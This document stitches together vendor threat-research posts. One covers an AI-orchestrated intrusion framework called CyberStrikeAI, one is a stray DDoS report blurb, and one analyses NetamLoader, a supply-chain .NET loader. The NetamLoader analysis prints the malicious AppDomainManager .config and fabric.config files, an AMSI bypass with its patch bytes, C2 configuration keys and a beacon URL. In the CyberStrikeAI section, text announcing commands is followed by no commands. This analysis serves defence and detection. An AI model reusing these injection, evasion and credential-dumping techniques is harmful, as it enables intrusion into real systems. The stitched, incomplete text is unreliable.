It is worth noting that the choice of a specific persistence method is delegated to the LLM connected to CyberStrikeAI. However, thanks to the human-in-the-loop (HITL) mechanism, the operator retains full control over the process: commands generated by the model may require manual approval or correction before they are executed.
Before installing the agent on a compromised host, the attackers manually gathered basic system information using a fairly trivial set of commands:
The attackers also manually checked for internet access and obtained the external IP addresses of the compromised machines using the Chinese service dnslog[.]cn. The service generates a random third-level domain, after which the attackers attempt to resolve it on the compromised machine.
If the machine has internet access, the request succeeds, and the attackers obtain the external IP address of the compromised device on the service’s page.
For reconnaissance purposes, the agent generates a more complex script designed to map out a path for further privilege escalation by compromising SCCM or exploiting msiexec (the AlwaysInstallElevated key):
Additionally, to find ways to elevate privileges locally, the agent executed scripts to inventory services running under domain accounts and tasks running under the SYSTEM account:
During their activity, the attackers periodically checked for Microsoft Defender detections:
After gathering information about the compromised host, the attackers proceeded to conduct reconnaissance within the network. During the preparatory phase of the attack, they manually collected additional information about remote hosts using the net.exe utility.
During the main phase, the agent used PowerShell’s built-in functionality to detect accessible hosts without relying on additional utilities (such as nmap or fscan):
Additionally, relevant LDAP queries to Active Directory objects helped build a network map:
Furthermore, the presence of the installed agent on remote hosts was verified using WMI:
The next step was to gather information about the victims’ domains. To this end, before installing the agent, the attackers used standard OS utilities:
However, later on, using the CyberStrikeAI implant, reconnaissance was carried out via generated PowerShell scripts:
In addition to basic domain information, the agent performed LDAP queries to gather information for Kerberoasting and AS-REP Roasting attacks:
Finally, the agent was used to check the domain for the presence of LAPS and Microsoft Azure:
To detect signs of Microsoft Azure usage within the infrastructure, the attackers also searched for the .azcopy directory – created by the AzCopy (Microsoft Azure Storage Copy) utility – in users’ home directories:
After successfully conducting reconnaissance and mapping the network, the attackers moved on to the next stage – dumping credentials. For this purpose, the agent used a classic set of LOLBINs and well-known third-party tools.
The agent dumped registry hives containing credentials using the reg.exe utility:
The agent dumped the lsass.exe process using the MiniDump function of the comsvcs.dll library. In doing so, the target process’s PID was used instead of its name to make static detection based on the command line more difficult:
After successfully compromising privileged domain accounts (specifically, the built-in domain administrator), the attackers also carried out DCSync and Golden Ticket attacks via the agent using a renamed version of the mimikatz utility:
To spread across the network using compromised accounts, the attackers employed utilities from the Impacket toolkit, specifically WMIExec, as indicated by the utility’s characteristic command line:
Once installed, the agent prefers to use standard OS mechanisms, such as shared network folders.
Another method the agent uses to remotely execute commands is the WMI protocol. In particular, the agent used it to distribute the aforementioned p1.ps1 reverse shell script. This involved using compromised user accounts with local administrator privileges on the target hosts:
A second method of lateral movement via WMI uses the Invoke-CimMethod cmdlet:
To deliver the aforementioned tools (malicious scripts, mimikatz, and the agent itself) to the initial nodes in the infection chain, the attackers used standard OS utilities:
After the agent is installed, it checks the availability of the C2 server’s ports. The implementation mechanisms here are virtually unlimited and depend on the “creativity” of the respective LLM agents connected to the server:
To download additional utilities, the CyberStrikeAI implant also used built-in utilities (LOLBINs). The tools could be hosted on the attackers’ own servers or downloaded directly from GitHub:
The data collection phase deserves special attention. It demonstrates yet another capability of LLM orchestration – the automatic generation of SQL and LDAP queries tailored to a specific task.
In one incident during the campaign, the attackers deployed the CyberStrikeAI implant on an educational organization’s SQL server and collected information from the database via PowerShell. Here is an example of a command executed by the agent:
Normalized view of the executed script with comments:
Before accessing the data, the agent checked the privileges of the account under which it connected to the database:
In decoded form, the check looks as follows:
On network resources, file collection was preceded by a recursive directory scan to identify files of interest.
To interact with the file system, the implant provides a built-in interface that supports direct uploading and downloading of files. Files are transferred directly via the main encrypted communication channel with the C2 server (HTTP or TCP), and the data itself is encoded in Base64 and packaged into the agent’s standard JSON responses.
Another built-in capability of the implant is taking screenshots of the infected machine. As with other actions, the implant does not initiate this on its own: the command to capture the screen is issued by the LLM orchestrator, and the agent merely executes it and returns the result via the same control channel.
On Windows, the command for taking screenshots looks like this:
The Linux version looks like this:
In the incidents we detected, data collection was the final stage of the attack: the chain ended there, and we observed no further activity.
The key artifact for attribution in this campaign is the implant’s build metadata. The attackers built the malicious payload inside a Git clone of the project, so the Go compiler embedded version control system information into the binary files – the hash and commit time, as well as the vcs.modified=true flag (analogous to the +dirty suffix) – indicating uncommitted local changes in the working copy. The combination of these fields forms a unique fingerprint for a specific build.
Based on this fingerprint, the samples are divided into two independent groups, in each of which the Windows implant and the Linux implant have completely identical build metadata. A match indicates that, within each group, both payloads were built from the same project working copy.
Identical build metadata for the Windows and Linux implant samples, indicating a shared build environment
However, these groups do not overlap with one another. They do not share a common C2 infrastructure, and different versions of CyberStrikeAI are deployed on the command-and-control servers. In other words, the build metadata reliably links the samples within each group but does not provide grounds for linking the two groups together.
Differences in CyberStrikeAI versions on the command-and-control servers
The available data does not allow us to link the activity to any known group of attackers, nor to state with certainty that the same operator is behind both campaigns. Two factors prevent this. First, the tool’s openness: CyberStrikeAI is publicly available, so different operators could have independently deployed it and assembled malicious payloads under similar conditions. Second, command generation by the model: the “signature” characteristic of a specific operator is largely shaped not by a human but by an LLM. On the one hand, this increases the diversity of commands: the same command, when generated multiple times, can look different. On the other hand, it strips them of their individual characteristics, which reduces the value of behavioral metrics for attribution.
However, the Chinese-language comments found in the attackers’ scripts and the use of Chinese services still suggest a connection between the activity and a Chinese-speaking operator. In addition, analysts noted the timing of the control servers’ restarts: since the self-signed TLS certificate is regenerated each time the process starts, its not_before field records the restart time, and most of these restarts occurred during business hours in the UTC+8 time zone.
The origin of the tool itself also indirectly points in the same direction: CyberStrikeAI was developed within the Chinese cybersecurity community and is well known there.
CyberStrikeAI is a telling – though not unique – example of a shift occurring within the class of C2 frameworks: the LLM orchestrator is no longer merely an add-on to reconnaissance but has become a control layer over post-exploitation. If HexStrike AI and similar tools cover the “find and break” phase, and Sliver/Mythic/Havoc cover the “establish a foothold and control” phase, CyberStrikeAI completes the kill chain: a single server-side process written in Go executes utilities via MCP, handles webshell connections, and assigns tasks to the implant, while the model analyzes the results and decides what to do next.
The key takeaway is that the introduction of AI into the attack chain does not yet present fundamentally new challenges for detection. All the “intelligent” work remains on the attacker’s side, while the compromised host is subjected to familiar actions: from reconnaissance via Kerberoasting and AS-REP Roasting to LSASS dumps, DCSync, and the Golden Ticket attacks. This is a typical, well-documented set of domain compromise techniques. The novelty of the attack lies not in the methods themselves, but in the speed and ease with which they were executed: AI orchestration has lowered the skill requirements for the operator, but has not taken the attack beyond what defenders already know and are capable of detecting. The timing is also telling: individual key phases of the activity (such as establishing a foothold, lateral movement, and obtaining credentials) took only a few hours, and the entire attack – from agent deployment to the compromise of domain administrators – was completed within 3–4 days.
However, the CyberStrikeAI architecture does not limit users to the scenario described. The same mechanisms allow for the on-demand assembly of more complex chains – including DPAPI secret extraction and attacks on SCCM and Azure IMDS – all of which are within reach of the same group of actors, with a relatively low skill barrier. As the models evolve, the gap between the complexity of orchestration and the level of techniques used will narrow, and the operator’s role will gradually shift from setting tasks to monitoring the model’s actions.
It may seem that attacks using AI agents require the creation of fundamentally new detection rules. Indeed, to detect the activity of an LLM agent installed on a host within the infrastructure, it is necessary to create detection logic based on the specific characteristics of the agents. Detection rules for this activity can be found using Hunt Hub with the following filter.
However, in the case of the attack described, a different logic applies. The main difference lies in the architecture of the attack itself: the LLM agent was not located within the corporate network perimeter. It operated remotely via a C2 agent, orchestrating actions, and left no traces of its presence in the infrastructure (such as specific API requests to local LLMs or anomalous patterns of resource consumption by hosts).
The key difference between this activity and an attack by an experienced human operator lies largely in speed. Tactically, technically, and methodologically, AI, for the most part, uses exactly the same tools, utilities, and techniques as a human penetration tester. It does not write unique exploits from scratch, but rather combines known methods and dynamically adapts them to the situation, handling the tools’ errors on its own.
Since the actions performed by an AI agent on the network are indistinguishable from those of a human, classic, well-tuned correlation and behavioral analysis rules are sufficient to detect it. Here are a few examples of how Kaspersky Next EDR Expert successfully detects the attack described:
Kaspersky Anti Targeted Attack (KATA) is used to detect malicious activity in network traffic. Communication between CyberStrikeAI agents and the command-and-control server occurs without accessing AI platforms such as ChatGPT or Claude. Instead, the agent’s C2 server is an infrastructure pre-configured by the attackers, just as in attacks that do not use AI agents. Analysis of decrypted network traffic using NDR-class solutions reveals characteristic communication patterns of CyberStrikeAI agent activity. When these patterns are detected, KATA generates an alert with the verdict Backdoor.CyberStrikeAI.HTTP.C&C.
Alert regarding the detection of CyberStrikeAI communication with a C2 server
To detect post-exploitation activity, you can use not only IDS technology but also NAD (Network Anomaly Detection). It analyzes all traffic for suspicious indicators that do not correspond to a node’s typical network activity.
For example, actions performed by CyberStrikeAI during the Domain Discovery phase are detected by an NDR:NAD rule named “Scanning domain records via LDAP queries.”
NDR:NAD alert: reconnaissance via LDAP queries detected
You can learn more about NDR:NAD technology in our article on Securelist.
You can also visualize the connections between C2 addresses and files used by attackers in the Research Graph section of the Kaspersky Threat Intelligence Portal. This includes tracking the emergence of new CyberStrikeAI implants that communicate with malicious addresses.
Visualization via the Research Graph on the Kaspersky Threat Intelligence Portal
In addition, the Threat Lookup service available on the portal allows you to determine whether malicious files belong to CyberStrikeAI using attribution mechanisms based on the executable file’s code.
Demonstration of attributing a malicious implant to the CyberStrikeAI framework
Kaspersky SIEM detects all stages of an attack by the CyberStrikeAI agent. The product repository contains over 100 rules for detecting the techniques discussed in this article; we will list the most critical ones below.
Execution of various commands from the sqlservr.exe process:
Downloading and executing a payload via PowerShell:
Creating Windows scheduled tasks:
Persisting via crontab or bashrc:
Rules located at the KUMA Packages/SOC package/Configuration discovery path detect the collection of information about hosts, network settings, and domains using various reconnaissance tools. Rules that aggregate detections by reconnaissance tools:
Data collection for Kerberoasting and AS-REP Roasting:
Dumping registry hives containing credentials using the reg.exe utility:
Dumping the lsass.exe process using the MiniDump function of the comsvcs.dll library:
DCSync and Golden Ticket attacks using the renamed mimikatz utility:
Lateral movement using WMIExec:
For the rules to work, you must configure the SIEM system to receive the relevant events:
File-based indicators:
| CyberStrikeAI Windows Beacon | |
| D726A8B4886C636F76CA6D30EF6A6FF4 | c:\windows\temp\svchosts.exe |
| 2770562d104391b92b42671c270079bb | c:\windows\temp\svcmon32.exe c:\programdata\svcmon32.exe |
| CyberStrikeAI Linux Beacon | |
| 09e1da2afa1216ecc55648ec8e122d2a | |
| 805B9E4AE74C903787416800999B8418 | |
| Tools & Scripts | |
| 29EFD64DD3C7FE1E2B022B7AD73A1BA5 | C:\Windows\Temp\wdiag2.exe (mimikatz) |
| 74F57B3E897A4960DCDD5B7E8A54F9DF | c:\rwx\RogueWinRM.exe |
| 0BBD08AF95F877F1D568B03DE2EB76B4 | c:\ProgramData\p1.ps1 (reverse shell PS script) |
Network indicators:
| 185.186.245[.]144 | C2 for Windows Beacon |
| fastcdn[.]bar | C2 for Windows Beacon |
| media.fastcdn[.]bar | C2 for Linux Beacon |
| 104.234.26[.]163 | C2 for Payload Delivery + Linux Beacon |
The Cloudflare DDoS report Q3 2026 reveals 18.2M network attacks, a 208% surge in short-burst floods, and a major shift toward DNS and UDP attacks.
Related Posts:
The post Cloudflare DDoS Report Shows 18.2 Million Network Attacks in Q3 2026 appeared first on Daily CyberSecurity.
A couple of months ago, our research revealed a highly sophisticated infection chain and a complex .NET assembly-loading framework built on XAML markup, which strongly indicates a supply-chain attack targeting a custom Windows build used exclusively by government entities in Asia. The malicious framework has been labeled NetamLoader; at present, no attribution to any known APT group has been established.
The sample came to light in the first half of 2026, when Kaspersky Security Network (KSN) issued a malware detection alert for a .config file using AppDomainManager injection to load arbitrary .NET assemblies. The file was packaged inside a CAB archive placed in the directory that stores Windows operating system update packages. Initial analysis of the CAB contents found no malicious code: most executables were legitimate components of the third-party patch management tool Patch My PC, and even the .NET assemblies used for the injection were Microsoft-signed. A later re-examination of the original .config file and the full loading process revealed the infection chain and framework described in this report.
Kaspersky’s products detect this threat as HEUR:Trojan.MSIL.NetamLoader.gen, Trojan.MSIL.Zapchast.*, and Trojan.Script.Agent.*.
During routine threat hunting, KSN sent us a malware detection alert. The notification flagged a .config file that employed AppDomainManager injection to load arbitrary .NET assemblies. The file was compressed into a CAB archive named e4537a1762fcafd2fd96bfc825bad34f9db9a24d and saved in the folder that stores Windows operating system update packages. Below is the full path to this archive:
C:\Windows\SoftwareDistribution\Download\e4537a1762fcafd2fd96bfc825bad34f9db9a24d
Starting with this CAB archive, we uncovered a highly complex infection chain that uses a previously unknown advanced loading framework.
The CAB file contains the following seven files, which are extracted and placed in the path C:\Windows\SoftwareDistribution\Download\Install\:
Files compressed in the CAB file
C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe -updatepackage -applicationid=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
After the file is launched in this manner, the infection chain progresses to stage 1.
Starting with the execution of PatchMyPC-ScriptRunner.exe, which then served as a host process for loading several payloads, we identified a complex two‑stage loading mechanism with multiple steps. The overall flow of stage 1 is summarized in the diagram below.
Infection chain: Stage 1
The AppDomainManager injection technique is used to load an arbitrary .NET assembly. With this mechanism, when PatchMyPC-ScriptRunner.exe runs, the accompanying configuration file PatchMyPC-ScriptRunner.exe.config in the same directory is loaded before the executable’s main function runs. Below is the content of PatchMyPC‑ScriptRunner.exe.config.
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<runtime>
<appDomainManagerType value="Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration">
</appDomainManagerType>
<appDomainManagerAssembly value="Microsoft.HostIntegration.Connectors, Version=1.0.0.0,
Culture=neutral, PublicKeyToken=31bf3856ad364e35">
</appDomainManagerAssembly>
<NGenAssemblyUsageLog enabled="0" />
</runtime>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6" />
</startup>
</configuration>
According to the configuration file, the class Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration from the Microsoft.HostIntegration.Connectors.dll module (a Microsoft‑signed assembly) is loaded. DataCacheFactoryConfiguration is the configuration class for the Windows Server AppFabric Cache Client, specifying the settings for a new cache client. When the configuration class is loaded, its instance first attempts to find and read the default configuration file, fabric.config, located in the same directory. The contents of fabric.config are shown below:
<?xml version="1.0" encoding="utf-8"?>
<section name="foo">
<customType className="System.Resources.ResXResourceSet, System.Windows.Forms,
Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089(Resources.resx)" />
</section>
The DataCacheFactoryConfiguration class has a design flaw that can be abused to load arbitrary assemblies. The fabric.config file is meticulously crafted. When the file is loaded, the DataCacheFactoryConfiguration instance examines its className attribute, loads the specified type (System.Resources.ResXResourceSet from the System.Windows.Forms assembly), and creates a ResXResourceSet instance, passing “Resources.resx” to its constructor for parsing.
In the .resx file, multiple layers of payloads – including several XAML files, .NET assemblies, and JSON data – are encoded, compressed, or encrypted (see the diagram below). Each layer is unpacked and loaded by the layer above it. Once a layer finishes its operation, the next layer is extracted and loaded. Below, we analyze each layer in the order in which it is loaded:
Multiple layers of payloads are compressed and encrypted in the .resx file
The Microsoft RESX schema defines the XML layout used by .resx files, which has a human-readable structure and can hold application resources: strings, images, icons, and serialized objects. The Resources.resx file contains a Base64‑encoded binary object that was serialized using the well‑known, highly vulnerable .NET BinaryFormatter class.
Base64-encoded serialized binary object in Resources.resx
Parsing this .resx file with ResXResourceSet causes the embedded Base64‑encoded binary payload to invoke BinaryFormatter.Deserialize(), triggering a deserialization vulnerability that enables a TypeConfuseDelegate attack. The TypeConfuseDelegate then invokes XamlReader.Parse(), which loads a XAML payload (named XAML-1) embedded within the binary object.
XAML is a markup language for building user interfaces in .NET applications, but its capabilities extend far beyond that. Using two built‑in objects, ObjectDataProvider and ResourceDictionary, logic equivalent to C# code can be expressed in an XML‑like syntax.
A code snippet of XAML-1
The XAML-1 code acts as a loader for an embedded payload. The process is as follows:
Environment.Exit(0), silently terminating the host process to prevent error messages that might reveal the attack.XAML‑2 initiates stage 2 of the infection. The diagram below shows the overall flow of this stage.
Infection chain: Stage 2
XAML‑2 contains two embedded Base64‑encoded sections. These sections are actually two additional XAML files (referred to as XAML-2-1 and XAML-2-2) that were first compressed with ZIP and then encoded in Base64. After decoding and decompressing, XAML-2 loads each file into memory separately with XamlReader.Load().
A code snippet of XAML-2
The first file consists of 796 lines. Its sole purpose is to hijack a key AMSI API to bypass anti‑malware scanning.
Sensitive strings in XAML-2-1 are cut into tiny pieces
To avoid detection by anti‑malware signature scans, sensitive strings are split into very short fragments. When XAML-2-1 is loaded and parsed, the fragments are reassembled into the original string.
The key steps it takes to achieve its goal are as follows:
IntPtr.Size equals 8. If it does not, the host process isn’t 64‑bit, so abort the hijack operation.Console.Clear() and then obtain its native function pointer. Next, patch the method by overwriting its first bytes in memory with the binary payload (41 C7 00 01 00 00 00 33 C0 C3).Marshal.GetIUnknownForObject(). From this pointer, read the address of its virtual method table and add 0x18 to reach another pointer that holds the address of the CAmsiAntimalware::Scan method.VirtualProtect() to make the Scan() pointer writable, change its value from the address of the CAmsiAntimalware::Scan() method to the address of the patched Console.Clear(), and then restore the pointer’s original protection attributes. Once this step is complete, every scan returns AMSI_RESULT_CLEAN (value = 0).One patch targets the Console.Clear() API, which resides in the memory space of an existing legitimate module, while the other modifies only the virtual tables of the AMSI module, allowing the malware to pass code integrity checks.
XAML-2-2 consists of two parts: a .NET module (the first loader, .NET 1 Loader) and a JSON data payload (the C2 configuration, JSON-1). Both components are compressed with ZIP and then encoded in Base64. XAML-2-2 first decodes and decompresses the .NET assembly .NET 1 Loader, then uses the Assembly.CreateInstance() API to create an instance of the .NET 1 Loader and passes the Base64‑encoded JSON-1 to the m.C() method of .NET 1 Loader as a parameter.
.NET 1 Loader decodes, decompresses, and parses JSON‑1. The decoded and decompressed JSON‑1 is shown below:
{
"p": "[Base64‑encoded JSON, which we call JSON‑1-p]"
"c": "[Base64‑encoded JSON, which we call JSON‑1-c]"
}
| sc | false | Flag. Determines whether to report the execution result of m.C(). When set to false, reporting to C2 is skipped. |
| c | null | Reporting C2 server. The result returned by the m.C() method of .NET 1 Loader is sent to this server. |
| tp | null | Unknown item, suspected to be a trusted SSL certificate. Thumbprint was used to verify this alleged C2 certificate. |
| e | null | The AES key that encrypts the JSON result returned by the m.C() method of .NET 1 Loader. |
oib: Base64‑encoded .NET 2 Plugin (PE file)oub: Base64‑encoded XAML that invokes Exit(0)ibk: AES key used to decrypt ibiibi: A Base64‑encoded collection of compressed, encrypted XAML templates used to build XAML-3. Detailed instructions for decrypting and assembling XAML‑3 are provided in the XAML‑3 section below.Other items are passed as C2 configuration to the .NET 2 Plugin at a later stage.
[
{
"c": [
{
"cu": "https://openaigpt4v.com/model_v4/",
"tp": "*",
"rh": ""
}
],
"mib": 79200,
"mab": 100800,
"mis": 1200,
"mas": 2400,
"e": "9fT04e03tAiZAPogcDWt0w==",
"ii": null,
"aop": null,
"oib": "TVqQAAMAAAAEAAAA//8AALgAAAAAA...",
"oub": "PFJlc291cmNlRGljdGlvbmFyeS...",
"wi": 100801,
"ibk": "W7BHmIRBRY3FOIfWprbW/ZJh5GbPND3sY+qCBDY7O2A=",
"ibi": "4pUDtQVbD6leQrDvtT3gaaCLec...",
"de": false
}
]After obtaining the configuration, .NET 1 Loader proceeds with the following key steps:
PatchMyPC-ScriptRunner.exe.config fabric.config Resources.resx
%LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\PatchMyPC-ScriptRunner.exe.log %WINDIR%\Prefetch\PATCHMYPC-SCRIPTRUNNER.EXE-*.pf
"%WINDIR%\Logs\CmitUpdateAgent\20????\20??????"
aop exists. If it does, Base64-decode its value, use the result as XAML-3, and skip to step 9.ii by calling Guid.NewGuid().SusClientId value from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate. Then generate the value for the newly defined configuration item si by computing a GUID using the same algorithm as above. Use the concatenation of the retrieved SusClientId value and the byte sequence \x14\x43\x9B\x64 as the input data for the algorithm.WScript.Shell (CLSID: 41904400-BE18-11D3-A28B-00104BD35090) and retrieve the environment of the current process. Then set the COMPlus_ETWEnabled environment variable to 0 to prevent the CLR from registering the .NET ETW provider, which hides the associated events.e. A randomly generated IV is prepended to the encrypted data, and the result is then Base64‑encoded.
[
{
// Fixed value
"_": "0202097a-5c1e-460d-b5e0-030b9756b242",
// Error number: 0 indicates successful execution
"e": "0 ",
// Value of config "ii"
"i": "94aafd58-c00c-402a-aae6-858b4486a1a4"
}
]
XAML-3 is a critical payload that, after leaving the original process tree, is loaded and executed in a different process: dllhost.exe. XAML-3 is generated from template XAML-3. As shown in the diagram below, the template is decoded and decrypted using the value of the ibi item in JSON-1-p. In addition to template XAML‑3, the final decryption includes two other XAML templates (template __P1__ and template __P2__).
The multi-layer encryption structure of “ibi”
The AES key is taken from the config item ibk. The first 16 bytes of the encrypted binary data serve as AES IV 1. After decryption, the data consists of a simple header followed by AES IV 2.
Template XAML‑3 includes two string placeholders, __P1__ and __P2__. Each placeholder is replaced with compressed, Base64‑encoded XAML (template __P1__ and XAML‑P2).
The content of template __P1__ is identical to XAML-2-1 and bypasses AMSI in the new process. XAML-P2 is generated from the template __P2__.
Some of the item values in template __P2__ come from the C2 configuration data in JSON-1-p. Within template __P2__, the placeholder __P__ is replaced with a compressed, encoded payload – the .NET 2 Plugin – which is decoded from the oib value in JSON-1-p. After completing all the operations, the template __P2__ becomes XAML-P2.
The C2 configuration in XAML‑P2 is shown below:
| Item | Value | Description |
| ii | 94aafd58-c00c-402a-aae6-858b4486a1a4 | Unique ID for this malware instance (if the ii value in the configuration is null, the malware will generate a random one). |
| ec | 9fT04e03tAiZAPogcDWt0w== | Base64-encoded AES master key: same as item e in JSON-1-p, used for C2 traffic encryption and authentication. |
| bi | 79200-100800 | Actual polling delay if the C2 doesn’t respond: 79200-100800 seconds (22-28 hours) – the code parses the values and multiplies them by 1000 to get milliseconds. This item indicates that the malware uses very long polling intervals. |
| is | 1200-2400 | Actual delay: 1200-2400 seconds (20-40 minutes) – a long delay before the initial connection to the C2 server, used for sandbox evasion. |
| u | Base64encodedXAML | A short XAML snippet that calls Environment.Exit(0) |
| wi | 100801 | Actual initial wait: 100801 seconds (~28 hours). The malware waits approximately 28 hours after initial execution and then exits the process. |
| de | False | Local exception logging switch: when set to False, exception logging is enabled. |
| si | 41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095 | UID: generated using a custom method based on the registry key value SusClientId. |
| cu | https://openaigpt4vcom/model_v4/ | Command-and-control (C2) server URL taken from the C2 server list. |
| tp | * | Trusted SSL certificate thumbprint: * indicates that any certificate is trusted (disabling SSL pinning/validation). This entry also appears in a list, corresponding to the C2 item cu. |
| rh | Additional route header/data: not configured in this instance. |
When dllhost.exe loads XAML-3, it loads template __P1__ and XAML-P2 one by one. When XAML-P2 loads, it retrieves the current domain via AppDomain.GetCurrentDomain() and then stores the values of the C2 configuration items (cu, tp, and rh; see the table above) in that domain using AppDomain.SetData(). Finally, XAML-P2 decodes and decompresses the embedded payload (.NET 2 Plugin), loads the .NET 2 Plugin into the current domain, and then calls the plugin’s entry method, m.C().
This payload is a .NET assembly (PE file). As discussed above, it is loaded by XAML-P2 into the host process dllhost.exe. In the plugin’s entry method m.C(), a thread is spawned to execute the malicious operations.
The following key steps are executed in this thread:
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\full", Key="Version" "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", Key="BuildLab"
"4.7.03190\n17763.rs5_release.180914-1434". If any query fails, replace its result with a hyphen (“-“)."LocalMachine\SOFTWARE\Classes\appid\{ff259bcd-2f0a-44de-b34a-0092fec1d8a2}
DllSurrogate = ""
Environment.CommandLine.IUnknown interface. Then call ole32.dll’s CoLockObjectExternal(IUnknown interface) to lock the object in memory, ensuring that the dllhost.exe process created by RPC is not released by the system.wi) before invoking the callback. The callback fetches the configuration item u, decodes its Base64‑encoded string, decompresses the output, and extracts a XAML snippet from the resulting data. It then loads this XAML, which ultimately triggers Environment.Exit(0).cu and ii to build the full URL https://openaigpt4v.com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4ServerCertificateValidationCallback) that verifies the server‑side X.509 certificate against the configuration value tp before establishing the connection.// Final HTTP request URL "https://openaigpt4v[.]com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4?b=lM4V3VwrWtXBy4oBGUkXOHfxyLUlrT2hIZGn4C37W1Z3%2FeW1WURJqzaNLQhGFHsWxA2lpJHZSpd8VDLMOQRD%2FfsDswnomIrBpoaNzug3dOtrh1J2KIqZRmKx1TtQsxq1RAGu1y45rSKaPHm9s2HF8A%3D%3D&c=41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095"
rh.
All traffic between the malware and the C2 server is encrypted and authenticated using AES‑128‑CBC with HMAC. The encryption and authentication keys are derived from a master key – specified in the configuration as "ec"="9fT04e03tAiZAPogcDWt0w==" – by applying HMAC with distinct seed values.
For a given master key and a single-byte seed, the derivation works as follows:
Accordingly, the server-side encryption and decryption keys mirror those on the client (malware) side.
| Seed | Key type generated (client side) | Key type generated (server side) |
| 0 | Decryption key | Encryption key |
| 1 | Decryption authentication key | Encryption authentication key |
| 2 | Encryption key | Decryption key |
| 3 | Encryption authentication key | Decryption authentication key |
The code implements an encapsulation of AES-CBC encryption combined with HMAC-SHA256 integrity verification. It uses a randomly generated IV to symmetrically encrypt the plaintext in CBC mode and produces ciphertext. Next, it calculates an SHA256 message authentication code for the concatenated “IV+ciphertext” using a separate HMAC key. Finally, it concatenates the three segments – IV (16 bytes) | ciphertext | HMAC (32 bytes) – into a single byte array that constitutes the final encrypted message. This follows the standard cryptographic Encrypt-then-MAC construction. The receiver must validate the HMAC before decrypting with the corresponding key and IV, which ensures confidentiality, integrity, and tamper resistance.
.NET 2 Plugin detects the system proxy using three methods:
(?:([a-zA-Z]+)=)?(.*).Impersonate(), and retrieve its proxy configuration with the .NET API WebProxy.GetDefaultProxy().DefaultWebProxy.These methods ensure that the malware can reach external networks even in complex network environments with proxies.
This technique abuses MulticastDelegate again by using reflection to modify its private _invocationList array. .NET 2 Plugin creates a multicast delegate (CrossAppDomainDelegate) and replaces one entry in its invocation list with a malicious delegate pointing to XamlReader.Parse(). When AppDomain.DoCallBack() executes this multicast delegate, it iterates through the invocation list and invokes the injected XamlReader.Parse() to parse and execute the downloaded XAML.
In more detail, the process is as follows:
px.TimeZoneInfo.ClearCachedData() with XamlReader.Parse(), thereby modifying the MulticastDelegate(CrossAppDomainDelegate).appDomain.DoCallBack() to invoke XamlReader.Parse() within the isolated AppDomain, executing the downloaded XAML payload.This technique keeps the downloaded malicious payload out of the main AppDomain, which increases stability and allows the payload to be fully cleaned up after execution.
The attack relies on commercial hosting infrastructure. The C2 IP is part of Cloudflare’s CDN, and the domain name is registered with Cloudflare.
| Domain | IP | First seen | Domain Registrar/ASN |
| openaigpt4v[.]com | 104.18.14[.]219 | Sep 27, 2023 | Cloudflare, Inc. / 15169 |
Based on KSN telemetry data, we identified a single victim in Asia. Additionally, we learned that the malware was designed to target a specially customized government‑only version of the Windows operating system. Consequently, we infer that the victims are Asian government entities.
After analyzing the TTPs, code similarities, and infrastructure, we were unable to link the attack to any known APT group.
Technological sovereignty has become a global trend. In today’s geopolitical climate, a growing number of countries are building their own core software platforms, including operating systems, databases, middleware, and cloud services, with operating systems often the top priority. The advantage is that each country controls the development, operation, and upgrading of its own operating systems, granting it full autonomy over the entire process. On the other hand, it also means that each country must protect this entire vast ecosystem on its own. Bringing the operation and maintenance of such a system to maturity is a lengthy process. Until then, both the system and its emerging supply chain could be exposed to attacks through multiple vectors, increasing potential vulnerabilities.
F2458ED133F8D0CA19E22C10F577E98E e4537a1762fcafd2fd96bfc825bad34f9db9a24d
E1DC6F1ED193594F2284BE22AE08DFA4 Resources.resx
AB81564BCB8CA7E710C66832DE747556 .NET 1 Loader
CFB8B281BDF5D9390E64B10C312FB2C1 .NET 2 Plugin
67E3617F8709D34F806F8E02BADBA8A5 fabric.config
514AC0D73B8A1B73488EF5E2E55A75C3 PatchMyPC-ScriptRunner.exe.config
514117D536E347560D049CFE0C609632 XAML-1
9000820D8153C24CD60D53001D3A97B6 XAML-2
B3C4A635179680EDAFB5D006CF0CFFC6 XAML-2-1
4F28622C5E60C01319BF48CF742FE1A5 XAML-2-2
C86D53392A87DD3F3E62D62C9B92A9BD XAML-3
C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe.config
C:\Windows\SoftwareDistribution\Download\Install\fabric.config
C:\Windows\SoftwareDistribution\Download\Install\Resources.resx
